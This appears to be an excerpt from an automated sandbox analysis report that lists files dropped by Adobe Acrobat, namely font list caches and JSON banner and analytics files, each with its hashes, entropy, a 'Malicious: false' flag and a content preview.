Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6640

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6640

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.378446614334701
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJM3g98kUwPeUkwRe9:YvXKX+Ky1uIjx6m+7GMbLUkee9
MD5:	3935AC61FE07B6D8A89053D8078D4B50
SHA1:	0252C5C34E0C2D4CB8879DE866C8E60E22459EA4
SHA-256:	1A3C80C9B916C62E8374815F0F511277A1B77B6C17E833C2B8936B405162377B
SHA-512:	78F062AF5511AA3BB98F0B2B9AF87A36CE152775C1FCB5C1CD7E785CCA986BE8FC76D7AA96F096562DD4C38D96BCF6B32DD60D3AF972DA1B18A84EECE23C7CC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325189182062629
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfBoTfXpnrPeUkwRe9:YvXKX+Ky1uIjx6m+7GWTfXcUkee9
MD5:	8EDD3D316B61BE45774F313F2E9A485A
SHA1:	8E769DAD3505AC98AE9129960F543F622367F920
SHA-256:	E0008E14F1C35F462BD83753AE4588E48AA10EE9A4FDC42ABDFFD372C0C694A0
SHA-512:	41FFC1F403EABD9CA3DDE1C9A9B0B32D7CF0D8197CCE8F4B443279B6982CA8D3AE1B237D4EFD25F7C75F7826863D378BC88F6742843AD7B75F4A09C3E09A41AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303895396289507
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfBD2G6UpnrPeUkwRe9:YvXKX+Ky1uIjx6m+7GR22cUkee9
MD5:	76F218C2039BF87AF8D6F11D4F9F5CF5
SHA1:	2940039AB4B47B0494AB1B089A39EB877D9BC66F
SHA-256:	A4E5171D8DF137A5D5FF437B3EC786F79F3891268472F5FE82F5476D9884D2B1
SHA-512:	B5191EAD0DBAAB84C205516D2112C4CE3506E5AB637486DF1391A85610DB20F8F137E99A620DEA2958B5450E652871FFCA5F731237D43B7556501C30E89E1738
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.365072334168993
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfPmwrPeUkwRe9:YvXKX+Ky1uIjx6m+7GH56Ukee9
MD5:	FACBF625152A645615B266E16EF25410
SHA1:	7362898AC3FB44D9A9FA3179EF33F67EB501FE76
SHA-256:	8689EF37BFE42269D79AC3402A42951A3B5A6EC374EB2DBA2903C105A4ED492B
SHA-512:	02B0EC7B2260E67CC78C0455389014DF95A836FEB9BD857F845E181E7F76CB0938BC3580DC8A9B285F2979E20399BA6B5B545335C4C8159FB50758E267B3D22F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697315751625566
Encrypted:	false
SSDEEP:	24:Yv6Xu1td6rQpLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:Yvbb8shgy6SAFv5Ah8cv/j
MD5:	A84AED3DAC0F65514DF304CFB9BEB811
SHA1:	4387C69246BD3BA1CF53692F037612C1545FF17E
SHA-256:	B7F08382631EA606A8FC210F198D09CD57073D6ED326355F1C2C102D765119A0
SHA-512:	9EFE9F8AAC5513DD5542EC0F0256304C7B3BB7A896E2B8B5B6350C946F30DF1389554679D34122FD337722BF2E646126F772E240A20C9C88663A3B644FBAB3E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.315961886249858
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJf8dPeUkwRe9:YvXKX+Ky1uIjx6m+7GU8Ukee9
MD5:	1874FAD815D9C92E446FFBAC5A499E3D
SHA1:	E10237FD5205D558BD775F9B751BE7980063B92A
SHA-256:	F008EBC2F715448CB3A3EE0FE75CACDBC0738F1D49BE97A23556B53CB1BF606D
SHA-512:	ED924FE0D838D1AC52D0CCF7C07A6F5A2F9005192912D23A48BF0C9D22F8F6FFF55FEAC33AE420D5A5D8B9C00763B6BC2EBFA874F98A97EEF693DD835EC5F188
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.316423468848484
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfQ1rPeUkwRe9:YvXKX+Ky1uIjx6m+7GY16Ukee9
MD5:	3901DF7FFAF54DE7CC4178F4C06CB523
SHA1:	C5330F9803A57D3B16A8A0A5CD40FBCE4EAEFFB6
SHA-256:	9693048FBEB2EFBD70E31B4B534CEFB5F08E6794DAC577EB74ABEC1A558155DD
SHA-512:	E2E94E274274DB3C210F269B2DAC9343D7611BC9B76ABF7566E040F8225B215FD9394051EAE6EEA453591BD176BB659702314DC45F91905DE54564A3E2C8DEEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324554671438597
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfFldPeUkwRe9:YvXKX+Ky1uIjx6m+7Gz8Ukee9
MD5:	472F2E7F78282C9BB6D4BD47B65C671F
SHA1:	89D60AE5C359C6B9D9953BC04C9B382B4B34E622
SHA-256:	EE896B652807B38633C0614D2802D17BB575562AC7F9092677CF66107A67DFBD
SHA-512:	F706276EB21DC547B3C581B2FB4AB893AB97CD26EBFF0071DB00C38FCF269D6AEC83D6ACB8FC56C6F2D6773F4E9AE46AE68024939CE02C94806A1915CB90D5A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342160964718972
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfzdPeUkwRe9:YvXKX+Ky1uIjx6m+7Gb8Ukee9
MD5:	C61BF035B88EEDEFDD9956CFEE54ADEF
SHA1:	7CC1196212CF6484CA342A131CBA9E05A2E2E43B
SHA-256:	CC1CEF66F28B33FB1FC0D7588DD42710555F5A5971870DE347CCEA24DC3B7ACF
SHA-512:	1078F871BE0C0103A7352173DAAA3D584CDEF5A6AA1580F2FF688CC9D5B6C134833DCEDA52255DC0CE3CB388076896BFCE62DA25362044CBCAB258D4BAF7129B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3226719857070846
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfYdPeUkwRe9:YvXKX+Ky1uIjx6m+7Gg8Ukee9
MD5:	AAC805DB4E142609DB00890B80D74DCA
SHA1:	D5BD2B40153650ABD611C6DCE49A91E54D239F67
SHA-256:	79DDEAFF35D0A51148430B8F4435FF1DD902CC76E2F947A0286F23FDAA7EF931
SHA-512:	EB4C7804A44446A77EC694A5F9BF881607DFEF9838AE6556667E647329A040BAA726927E22EF4B9E0158DF3AAB2B22CC9118FB81E3B9108FB0150B06A3EA826D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.309121513207899
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJf+dPeUkwRe9:YvXKX+Ky1uIjx6m+7G28Ukee9
MD5:	54D3282A6B75AD4446ED183D42BE25CC
SHA1:	DA2B56D792166002AC865A362BAF30BDE2AFF381
SHA-256:	DEF2C9D58DABDAEE3DA4302BE2C57C62D44700BF27C820138EA3829CA86FCB62
SHA-512:	48EBC0445E488592174CB3D97D163EF16167B64C77232A20A22B13FF21838FD7BE334599E24B69F7AD851FC369470953E8A6AABD517F54BD713AB786D4466DD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.306063262173338
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfbPtdPeUkwRe9:YvXKX+Ky1uIjx6m+7GDV8Ukee9
MD5:	E19BD75D857C3A299CB3EAE56A400D73
SHA1:	A59D7766D5B70E9A85B6805D6099F2713FDE411C
SHA-256:	D377DA264CA07FFE9FD42DD9C76C798CFCD366A4C3C0C93151292D39B3092944
SHA-512:	64BEB50EA5439CCC60B41D5F2BAE9271EE6A84C87C32CD64FBBDAF0C761A3160FF5D548927A159331B3D35FBCDA8DCE94D26207F2744C0250368380F3A3F1FFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.307400545505697
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJf21rPeUkwRe9:YvXKX+Ky1uIjx6m+7G+16Ukee9
MD5:	2F37F3F720B00662C4AB682831AB1ABE
SHA1:	74CFB9C1B642F0762C18808E765E66AC354C51B4
SHA-256:	FFC1C7D7093A8E88CD5C7167FD3DE7D788E79593FD887CFFE765EF9C2D3D5A05
SHA-512:	AD175227EF54812FB2ECE54C912CBC18306D36B0C7811319D0D8F0D82B727EFEC1656E4425E21E0D1CE6EE695493173AC411C084685D78F4B6C2A0347BB1E59C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.67211407379921
Encrypted:	false
SSDEEP:	24:Yv6Xu1td6rUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:Yvbb8eBgkDMUJUAh8cvMj
MD5:	108D29B3EA4DBB0ACE92C28D8C475E3E
SHA1:	5BFBADB784671918D85462C765547E662C5483AF
SHA-256:	94DD7B4256742E685B42248978A495C808556C2C5EEF8F5E2AC35161B8E40DFB
SHA-512:	D74B4BDF314F90E8AA8EF42B7C5E91C2E26AB61077A863FF5D0835550F948A2B5A0AAEF262A3ABF81AB4BD7D3FAE5F6106830608CC5A0F4F3A7DCC79F0811096
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.282619485638299
Encrypted:	false
